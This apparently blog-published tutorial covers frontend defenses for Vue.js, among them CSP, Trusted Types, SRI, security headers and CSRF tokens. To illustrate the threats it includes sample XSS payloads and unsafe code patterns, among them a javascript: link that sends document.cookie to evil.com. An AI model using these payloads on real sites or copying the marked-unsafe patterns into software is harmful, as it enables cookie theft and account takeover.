Frontend Security 2026: CSP, Trusted Types, SRI & XSS Defense for Vue.js

Posted on: 4/22/2026 6:15:27 AM

Table of contents

  1. 1. The Frontend Security Landscape 2026 — Why Client-Side Is the Main Battlefield
    1. ⚠ The AppsFlyer SDK Incident — March 2026
  2. 2. Cross-Site Scripting (XSS) — The 20-Year-Old Threat That Won't Die
    1. 2.1 Three XSS Variants
    2. 2.2 Why Frameworks Aren't a Perfect Shield
      1. 🔑 The Key Takeaway
  3. 3. Content Security Policy (CSP) — The Browser's JavaScript Firewall
    1. 3.1 How CSP Works
    2. 3.2 Practical CSP Configuration for Vue.js SPA
    3. 3.3 CSP with Vite + Vue.js — Handling Nonces in Build Pipeline
      1. 💡 Safe Deployment: Start with Report-Only
    4. 3.4 CSP Level 3 — Strict Dynamic and Hash-based
  4. 4. Trusted Types API — Blocking DOM-based XSS at the Root
    1. 4.1 How It Works
    2. 4.2 Implementing Trusted Types in Vue.js
      1. 🔑 Browser Support (04/2026)
  5. 5. Subresource Integrity (SRI) — Defending Against CDN Supply Chain Attacks
    1. 5.1 How It Works
    2. 5.2 Automating SRI in Vite Builds
    3. 5.3 SRI Limitations and Complementary Solutions
      1. ⚠ SRI Doesn't Protect When the Source Is Compromised
  6. 6. Security Headers — The HTTP Defense Line
  7. 7. Vue.js Security Deep Dive — Common Mistakes and Prevention
    1. 7.1 v-html and Template Injection
    2. 7.2 Dynamic Components and Script Gadgets
    3. 7.3 URL Sanitization for Router and Dynamic Links
    4. 7.4 PostMessage and Cross-Origin Communication
  8. 8. CSRF Protection — Safeguarding User Actions
    1. 8.1 SameSite Cookies — The Automatic Defense Layer
    2. 8.2 Anti-Forgery Tokens for Forms and APIs
  9. 9. Defense in Depth Architecture — Combining All Defense Layers
    1. 9.1 Implementation Checklist by Priority
  10. 10. Testing and Assessment Tools
  11. 11. Conclusion — Frontend Security Is Every Developer's Responsibility
    1. 💡 The Golden Rule

In 2026, the frontend is no longer just a user interface — it is the largest attack surface of web applications. With the proliferation of SPA frameworks like Vue.js, React, and Angular, along with the micro-frontend trend, the amount of JavaScript running in user browsers has multiplied compared to five years ago. More concerning, Cross-Site Scripting (XSS) still holds a Top 3 position in the OWASP Top 10 after more than 20 years of existence.

53%Web apps with at least 1 XSS vulnerability (HackerOne 2025)
$4.2BDamage from frontend supply chain attacks 2025
48 hrsAppsFlyer SDK compromise window (03/2026)
CSP L3Content Security Policy Level 3 — the new defense standard

This article dives deep into 5 layers of modern frontend defense: Content Security Policy (CSP), Trusted Types API, Subresource Integrity (SRI), Security Headers, and Vue.js-specific best practices — forming a comprehensive Defense in Depth architecture for client-side security.

1. The Frontend Security Landscape 2026 — Why Client-Side Is the Main Battlefield

Before SPA frameworks became popular, most processing logic lived on the server. Web attacks primarily targeted SQL injection and CSRF on the backend. But modern architecture has completely changed this picture:

graph LR
    A["👤 User Browser
JS Runtime"] --> B["🌐 CDN / Edge
Static Assets"] A --> C["🔌 API Gateway
REST / GraphQL"] A --> D["📦 Third-party Scripts
Analytics, Chat, Ads"] A --> E["🗂 npm Packages
node_modules"] D -->|"Supply Chain Risk"| F["⚠ Malicious Code
Data Exfiltration"] E -->|"Dependency Risk"| F B -->|"CDN Compromise"| F style A fill:#e94560,stroke:#fff,color:#fff style F fill:#ff9800,stroke:#fff,color:#fff style B fill:#f8f9fa,stroke:#e94560,color:#2c3e50 style C fill:#f8f9fa,stroke:#e94560,color:#2c3e50 style D fill:#f8f9fa,stroke:#ff9800,color:#2c3e50 style E fill:#f8f9fa,stroke:#ff9800,color:#2c3e50
Attack surface of a modern frontend application — multiple attack vectors come from external sources

An average Vue.js/React application in 2026 loads 15–40 third-party scripts (analytics, error tracking, chat widgets, A/B testing, ad scripts). Each script runs with full privileges on your DOM — able to read cookies, localStorage, send data externally, and even modify the UI. If just one of them gets compromised, the entire application is affected.

⚠ The AppsFlyer SDK Incident — March 2026

Between March 9–11, 2026, AppsFlyer's JavaScript SDK (present on 100,000+ websites and applications) was rewritten directly on AppsFlyer's CDN by attackers. For 48 hours, the script was injected with cryptocurrency-stealing code. This is a textbook example: you don't need to write vulnerable code — just loading a third-party script is enough risk.

2. Cross-Site Scripting (XSS) — The 20-Year-Old Threat That Won't Die

XSS allows attackers to inject JavaScript into web pages, running in the context of the victim's browser. Even though modern frameworks automatically escape output, XSS persists for many reasons.

2.1 Three XSS Variants

TypeMechanismExampleSeverity
Reflected XSSPayload in URL/request, server reflects without escapingsearch?q=<script>alert(1)</script>Medium — requires victim to click a link
Stored XSSPayload stored in DB, displayed to all usersComment with script in a forumHigh — affects multiple users automatically
DOM-based XSSClient-side JS reads input (URL hash, postMessage) and writes to unsafe DOM sinksdocument.innerHTML = location.hashVery High — completely bypasses server-side protection

2.2 Why Frameworks Aren't a Perfect Shield

Vue.js, React, and Angular all automatically escape text interpolation — {{ userInput }} renders as plain text, not HTML. However, there are still many legitimate "escape hatches":

<!-- Vue.js — v-html does NOT escape -->
<div v-html="userComment"></div>

<!-- React — dangerouslySetInnerHTML -->
<div dangerouslySetInnerHTML={{__html: userComment}} />

<!-- Dynamic href with javascript: protocol -->
<a :href="userProvidedUrl">Click here</a>
<!-- If userProvidedUrl = "javascript:alert(document.cookie)" → XSS -->

🔑 The Key Takeaway

Frameworks protect the default path (text interpolation). But whenever developers need to render raw HTML (rich text editors, markdown previews, embedded content), or bind dynamic URLs/styles, that protection is disabled. This is exactly when additional defense layers are needed.

3. Content Security Policy (CSP) — The Browser's JavaScript Firewall

Content Security Policy is an HTTP header that lets you control exactly which resources can be loaded and executed on a page. If an attacker injects a <script> into HTML but CSP doesn't allow inline scripts, the browser will block it — XSS fails even though the payload was successfully injected.

3.1 How CSP Works

sequenceDiagram
    participant B as Browser
    participant S as Server
    participant A as Attacker

    S->>B: HTTP Response + CSP Header
    Note over B: CSP: script-src 'nonce-abc123'

    A->>B: Inject <script>evil()</script>
    B->>B: Check CSP — no nonce → BLOCK ✗

    S->>B: <script nonce="abc123">app.js</script>
    B->>B: Check CSP — nonce match → ALLOW ✓

    B->>S: CSP Violation Report (POST /csp-report)
Nonce-based CSP flow — only scripts with a valid nonce are executed

3.2 Practical CSP Configuration for Vue.js SPA

A strong CSP header for a production Vue.js application:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random}' https://cdn.jsdelivr.net;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com wss://ws.example.com;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';
  report-uri /csp-report;
  report-to csp-endpoint;

Key directive explanations:

DirectivePurposeVue.js Notes
script-src 'nonce-{random}'Only allows scripts with matching nonceNonce must be unique per request — use server middleware to generate
style-src 'unsafe-inline'Allows inline stylesVue SFC <style scoped> needs inline — use 'nonce-{random}' if possible
connect-srcControls fetch/XHR/WebSocketWhitelist exact API domains — prevents data exfiltration
frame-src 'none'Blocks iframe embedsOpen for youtube.com if video embeds needed
object-src 'none'Blocks Flash/Java pluginsAlways set 'none' — no reason to open
base-uri 'self'Prevents attacker from changing <base> tagCritical — <base> injection can redirect all relative URLs

3.3 CSP with Vite + Vue.js — Handling Nonces in Build Pipeline

The biggest challenge with nonce-based CSP in SPAs is that Vite/Webpack generates inline scripts for chunk loading. The solution:

// vite.config.ts — Plugin to inject nonce into HTML
import { defineConfig, Plugin } from 'vite'
import vue from '@vitejs/plugin-vue'

function cspNoncePlugin(): Plugin {
  return {
    name: 'csp-nonce',
    transformIndexHtml(html) {
      // Server replaces __CSP_NONCE__ with actual nonce per request
      return html.replace(
        /<script/g,
        '<script nonce="__CSP_NONCE__"'
      )
    }
  }
}

export default defineConfig({
  plugins: [vue(), cspNoncePlugin()],
  build: {
    modulePreload: { polyfill: false }
  }
})
// ASP.NET Core Middleware — Generate nonce per request
public class CspNonceMiddleware
{
    private readonly RequestDelegate _next;

    public CspNonceMiddleware(RequestDelegate next) => _next = next;

    public async Task InvokeAsync(HttpContext context)
    {
        var nonce = Convert.ToBase64String(
            RandomNumberGenerator.GetBytes(32));
        context.Items["CspNonce"] = nonce;

        context.Response.Headers.Append(
            "Content-Security-Policy",
            $"default-src 'self'; " +
            $"script-src 'self' 'nonce-{nonce}'; " +
            $"style-src 'self' 'nonce-{nonce}'; " +
            $"img-src 'self' data: https:; " +
            $"connect-src 'self' https://api.yourapp.com; " +
            $"frame-src 'none'; object-src 'none'; " +
            $"base-uri 'self'; form-action 'self'");

        await _next(context);
    }
}

💡 Safe Deployment: Start with Report-Only

Don't enforce CSP immediately — use Content-Security-Policy-Report-Only first, collecting violation reports for 1–2 weeks. Analyze reports to whitelist legitimate resources, then switch to enforce mode. An overly strict CSP can break your entire application.

3.4 CSP Level 3 — Strict Dynamic and Hash-based

CSP Level 3 introduces the 'strict-dynamic' directive — allowing trusted scripts (via nonce) to create additional scripts without domain whitelisting:

Content-Security-Policy:
  script-src 'nonce-abc123' 'strict-dynamic';
  /* Script with nonce='abc123' is allowed to run
     Scripts it creates (document.createElement('script'))
     are automatically trusted
     Domain whitelists are IGNORED when strict-dynamic is active */

Benefit: no need to maintain long CDN domain whitelists. Risk: if a trusted script is compromised (via prototype pollution, for example), it can load additional malicious scripts.

4. Trusted Types API — Blocking DOM-based XSS at the Root

CSP protects against script injection, but DOM-based XSS occurs when your existing JavaScript writes unsafe data to DOM sinks (innerHTML, document.write, eval). Trusted Types is the answer to this problem.

4.1 How It Works

graph TD
    A["🔤 Untrusted String
'<img onerror=alert(1)>'"] --> B{"Trusted Types
Enforcement?"} B -->|"Disabled"| C["innerHTML = string
→ XSS executes ✗"] B -->|"Enabled"| D["innerHTML = string
→ TypeError! Browser blocks"] B -->|"Enabled"| E["Through Sanitizer Policy
→ TrustedHTML object"] E --> F["innerHTML = trustedHTML
→ Safe ✓"] style A fill:#ff9800,stroke:#fff,color:#fff style C fill:#e94560,stroke:#fff,color:#fff style D fill:#e94560,stroke:#fff,color:#fff style F fill:#4CAF50,stroke:#fff,color:#fff style E fill:#f8f9fa,stroke:#4CAF50,color:#2c3e50
Trusted Types forces all values written to DOM sinks through a sanitizer policy

4.2 Implementing Trusted Types in Vue.js

// Enable Trusted Types via CSP header
// Content-Security-Policy: require-trusted-types-for 'script';
//                          trusted-types vue-sanitizer default;

// Create policy for v-html and dynamic content
const sanitizerPolicy = trustedTypes.createPolicy('vue-sanitizer', {
  createHTML(input) {
    return DOMPurify.sanitize(input, {
      ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br',
                     'ul', 'ol', 'li', 'h2', 'h3', 'h4',
                     'blockquote', 'code', 'pre'],
      ALLOWED_ATTR: ['href', 'target', 'rel', 'class'],
      ALLOW_DATA_ATTR: false
    })
  },
  createScriptURL(input) {
    const url = new URL(input, location.origin)
    if (url.origin === location.origin ||
        url.origin === 'https://cdn.jsdelivr.net') {
      return url.toString()
    }
    throw new TypeError(`Blocked script URL: ${input}`)
  }
})

// Vue directive replacing v-html
app.directive('safe-html', {
  mounted(el, binding) {
    el.innerHTML = sanitizerPolicy.createHTML(binding.value)
  },
  updated(el, binding) {
    el.innerHTML = sanitizerPolicy.createHTML(binding.value)
  }
})
<!-- BEFORE: Unsafe -->
<div v-html="userContent"></div>

<!-- AFTER: Through Trusted Types policy -->
<div v-safe-html="userContent"></div>

🔑 Browser Support (04/2026)

Trusted Types is fully supported on Chrome and Edge (since v83+). Firefox is implementing (behind flag). Safari has no support yet. Therefore, Trusted Types should be an additional defense layer, not the only one — always combine with CSP and server-side sanitization.

5. Subresource Integrity (SRI) — Defending Against CDN Supply Chain Attacks

SRI allows browsers to verify that files loaded from CDNs haven't been modified from the original. If the hash doesn't match, the browser blocks the file entirely.

5.1 How It Works

<!-- With SRI — browser verifies hash before execution -->
<script
  src="https://cdn.jsdelivr.net/npm/vue@3.6.0/dist/vue.global.prod.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
  crossorigin="anonymous">
</script>

<!-- Same for CSS -->
<link
  rel="stylesheet"
  href="https://cdn.example.com/styles.css"
  integrity="sha384-..."
  crossorigin="anonymous">
graph LR
    A["📄 Build Pipeline
Generate hash"] --> B["🌐 CDN
Host file"] B --> C["👤 Browser
Download file"] C --> D{"SHA-384
Hash match?"} D -->|"✓ Match"| E["Execute script
Safe"] D -->|"✗ Mismatch"| F["Block script
Load fallback"] B -.->|"🔓 Attacker
modify file"| G["Modified file
Hash changed"] G --> D style A fill:#e94560,stroke:#fff,color:#fff style E fill:#4CAF50,stroke:#fff,color:#fff style F fill:#ff9800,stroke:#fff,color:#fff style G fill:#e94560,stroke:#fff,color:#fff
SRI workflow — hash mismatch blocks tampered files

5.2 Automating SRI in Vite Builds

// vite.config.ts — Plugin to auto-add SRI hashes
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
import sri from 'rollup-plugin-sri'

export default defineConfig({
  plugins: [
    vue(),
    sri({
      algorithms: ['sha384'],
      publicPath: '/'
    })
  ]
})
# Generate SRI hash manually
$ openssl dgst -sha384 -binary vue.global.prod.js | openssl base64 -A
# Output: oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K...

# Or use srihash.org for individual files

5.3 SRI Limitations and Complementary Solutions

⚠ SRI Doesn't Protect When the Source Is Compromised

In the AppsFlyer incident (03/2026), the file on the CDN was changed at the source. If a website had pinned an SRI hash to the old version, the browser would block the script → application breaks but users stay safe. However, if developers update the SRI hash to the new (compromised) version — SRI becomes useless. The lesson: review changelogs when updating third-party dependencies, don't just mechanically update hashes.

MethodProtects AgainstDoes Not Protect Against
SRICDN MITM, file modified on CDNSource compromise, new version with malware
CSP connect-srcScripts sending data to unknown domainsScripts sending data to whitelisted domains
Self-hostingComplete CDN compromiseDependency compromise before download
npm audit + lockfileKnown CVEs in dependenciesZero-days, undiscovered backdoors

6. Security Headers — The HTTP Defense Line

Beyond CSP, many other HTTP headers form a comprehensive defense layer. Here's the recommended header set for any Vue.js/.NET production application:

// ASP.NET Core — SecurityHeaders Middleware
public class SecurityHeadersMiddleware
{
    private readonly RequestDelegate _next;

    public SecurityHeadersMiddleware(RequestDelegate next) => _next = next;

    public async Task InvokeAsync(HttpContext context)
    {
        var headers = context.Response.Headers;

        // Anti-clickjacking — prevent iframe embedding
        headers.Append("X-Frame-Options", "DENY");

        // Anti-MIME sniffing — browser must respect Content-Type
        headers.Append("X-Content-Type-Options", "nosniff");

        // Control Referer information sent
        headers.Append("Referrer-Policy", "strict-origin-when-cross-origin");

        // Block unnecessary browser features
        headers.Append("Permissions-Policy",
            "camera=(), microphone=(), geolocation=(), " +
            "payment=(), usb=(), bluetooth=()");

        // Force HTTPS — includeSubDomains + preload
        headers.Append("Strict-Transport-Security",
            "max-age=31536000; includeSubDomains; preload");

        // Cross-Origin Isolation for SharedArrayBuffer
        headers.Append("Cross-Origin-Opener-Policy", "same-origin");
        headers.Append("Cross-Origin-Embedder-Policy", "require-corp");

        await _next(context);
    }
}
HeaderProtects AgainstRecommended Value
Strict-Transport-SecuritySSL stripping, downgrade attacksmax-age=31536000; includeSubDomains; preload
X-Content-Type-OptionsMIME confusion attacksnosniff
X-Frame-OptionsClickjackingDENY or SAMEORIGIN
Referrer-PolicySensitive URL leakage via Referer headerstrict-origin-when-cross-origin
Permissions-PolicyBrowser API abuse (camera, mic)Disable all unused features
COOP + COEPSpectre-class side channel attackssame-origin + require-corp

7. Vue.js Security Deep Dive — Common Mistakes and Prevention

Vue.js has a solid security design — the template compiler auto-escapes text. But some common patterns inadvertently create vulnerabilities:

7.1 v-html and Template Injection

// ❌ DANGEROUS: v-html with user input
<div v-html="comment.body"></div>

// ✅ SAFE: Sanitize before rendering
import DOMPurify from 'dompurify'

const sanitizedBody = computed(() =>
  DOMPurify.sanitize(comment.value.body, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href', 'target', 'rel']
  })
)
// <div v-html="sanitizedBody"></div>

7.2 Dynamic Components and Script Gadgets

Research from PortSwigger (2025) shows that Vue.js can be exploited as a script gadget to bypass CSP in certain cases:

// ❌ DANGEROUS: mounting Vue on a node with server-rendered content
// If server renders user input into DOM before Vue mounts,
// Vue's template compiler will evaluate {{ expressions }}
const app = createApp({})
app.mount('#app') // #app contains {{ constructor.constructor('alert(1)')() }}

// ✅ SAFE: Don't mount Vue on nodes containing untrusted content
// Use SSR properly with Nuxt — content is escaped on the server
// ❌ DANGEROUS: Dynamic href without validation
<a :href="userProfile.website">Website</a>
// userProfile.website = "javascript:document.location='https://evil.com?c='+document.cookie"

// ✅ SAFE: Validate URL protocol
function sanitizeUrl(url) {
  try {
    const parsed = new URL(url)
    if (['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
      return parsed.toString()
    }
    return '#'
  } catch {
    return '#'
  }
}
// <a :href="sanitizeUrl(userProfile.website)">Website</a>

7.4 PostMessage and Cross-Origin Communication

// ❌ DANGEROUS: No origin validation
window.addEventListener('message', (event) => {
  document.getElementById('preview').innerHTML = event.data
})

// ✅ SAFE: Validate origin + sanitize data
window.addEventListener('message', (event) => {
  if (event.origin !== 'https://trusted-editor.example.com') return

  const sanitized = DOMPurify.sanitize(event.data)
  document.getElementById('preview').innerHTML = sanitized
})

8. CSRF Protection — Safeguarding User Actions

Cross-Site Request Forgery (CSRF) tricks users into performing unintended actions on sites where they're authenticated. While SameSite cookies have significantly mitigated CSRF, it's still important to understand and implement properly:

8.1 SameSite Cookies — The Automatic Defense Layer

// ASP.NET Core — Cookie configuration
builder.Services.ConfigureApplicationCookie(options =>
{
    options.Cookie.SameSite = SameSiteMode.Strict;
    options.Cookie.HttpOnly = true;   // JS cannot read
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
    options.Cookie.Name = "__Host-session"; // Secure cookie prefix
});
SameSite ValueCross-site GETCross-site POSTRecommendation
Strict❌ Blocked❌ BlockedApps that don't need cross-site navigation
Lax (default)✅ Sent❌ BlockedSuitable for most applications
None; Secure✅ Sent✅ SentOnly when cross-site needed (OAuth, embeds)

8.2 Anti-Forgery Tokens for Forms and APIs

// ASP.NET Core — Enable Anti-Forgery
builder.Services.AddAntiforgery(options =>
{
    options.HeaderName = "X-XSRF-TOKEN";
    options.Cookie.Name = "XSRF-TOKEN";
    options.Cookie.SameSite = SameSiteMode.Strict;
});

// API Controller
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> TransferFunds(TransferRequest request)
{
    // CSRF token already validated automatically
    // ...
}
// Vue.js — Axios interceptor for XSRF token
import axios from 'axios'

const api = axios.create({
  baseURL: '/api',
  xsrfCookieName: 'XSRF-TOKEN',
  xsrfHeaderName: 'X-XSRF-TOKEN',
  withCredentials: true
})

9. Defense in Depth Architecture — Combining All Defense Layers

No single defense layer is perfect on its own. The strength lies in stacking multiple layers — each blocking a different attack vector:

graph TB
    subgraph "Layer 5 — Monitoring"
        M1["CSP Violation Reports"]
        M2["SRI Failure Alerts"]
        M3["Anomaly Detection"]
    end

    subgraph "Layer 4 — Browser Enforcement"
        B1["Content Security Policy"]
        B2["Trusted Types"]
        B3["Permissions Policy"]
    end

    subgraph "Layer 3 — Transport Security"
        T1["HSTS Preload"]
        T2["Certificate Transparency"]
        T3["SRI Hash Verification"]
    end

    subgraph "Layer 2 — Application Code"
        A1["Input Sanitization
DOMPurify"] A2["Output Encoding
Vue auto-escape"] A3["URL Validation"] end subgraph "Layer 1 — Authentication" AU1["SameSite Cookies"] AU2["CSRF Tokens"] AU3["HttpOnly + Secure flags"] end M1 --> B1 M2 --> T3 B1 --> A1 B2 --> A2 T1 --> AU1 style M1 fill:#f8f9fa,stroke:#e94560,color:#2c3e50 style M2 fill:#f8f9fa,stroke:#e94560,color:#2c3e50 style M3 fill:#f8f9fa,stroke:#e94560,color:#2c3e50 style B1 fill:#e94560,stroke:#fff,color:#fff style B2 fill:#e94560,stroke:#fff,color:#fff style B3 fill:#e94560,stroke:#fff,color:#fff style T1 fill:#2c3e50,stroke:#fff,color:#fff style T2 fill:#2c3e50,stroke:#fff,color:#fff style T3 fill:#2c3e50,stroke:#fff,color:#fff style A1 fill:#4CAF50,stroke:#fff,color:#fff style A2 fill:#4CAF50,stroke:#fff,color:#fff style A3 fill:#4CAF50,stroke:#fff,color:#fff style AU1 fill:#ff9800,stroke:#fff,color:#fff style AU2 fill:#ff9800,stroke:#fff,color:#fff style AU3 fill:#ff9800,stroke:#fff,color:#fff
Defense in Depth Architecture — 5 overlapping frontend defense layers

9.1 Implementation Checklist by Priority

Weeks 1–2: Foundation
Security Headers — Deploy middleware adding HSTS, X-Content-Type-Options, X-Frame-Options, Referrer-Policy, Permissions-Policy. This is the simplest task with the highest impact.
Weeks 3–4: CSP Report-Only
CSP report-only deployment — Configure CSP with report-uri, collect violation data. Identify inline scripts needing refactoring, third-party domains needing whitelisting.
Weeks 5–6: CSP Enforce + SRI
Switch CSP to enforce mode. Add SRI hashes for all external scripts/styles. Configure Vite plugin to auto-generate SRI during builds.
Weeks 7–8: Application Security
Code-level hardening — Replace v-html with custom directive + DOMPurify. Audit all dynamic URL bindings. Set up URL sanitization utility.
Weeks 9–10: Advanced Protection
Trusted Types (for Chrome/Edge users) + CSRF token rotation + cookie hardening (__Host- prefix, SameSite=Strict).
Weeks 11–12: Monitoring
Monitoring pipeline — CSP violation reporting endpoint, SRI failure alerting, dependency audit automation (npm audit, Snyk, Socket.dev), scheduled penetration testing.

10. Testing and Assessment Tools

ToolPurposeFree?CI/CD Integration
securityheaders.comScan HTTP security headers
CSP Evaluator (Google)Evaluate CSP policy strength
Mozilla ObservatoryComprehensive web security scan
Lighthouse (Security audit)Security audit in Chrome DevTools
Socket.devDetect supply chain risks in npm packages✅ (OSS)
SnykDependency vulnerability scanning✅ (Free tier)
OWASP ZAPDynamic Application Security Testing (DAST)
Playwright + axeAutomated security regression testing

11. Conclusion — Frontend Security Is Every Developer's Responsibility

Frontend security in 2026 is no longer something to "leave to the security team." With SPA architecture, most logic runs in the browser, and every third-party script is a potential attack vector. CSP, Trusted Types, SRI, and security headers form a multi-layered defense mesh — but all require developers to proactively implement them.

💡 The Golden Rule

Trust no input — whether from users, APIs, URL parameters, or postMessage. Trust no script — whether from reputable CDNs or popular npm packages. Validate, sanitize, and verify at every contact point. Defense in Depth isn't paranoia — it's engineering discipline.

References: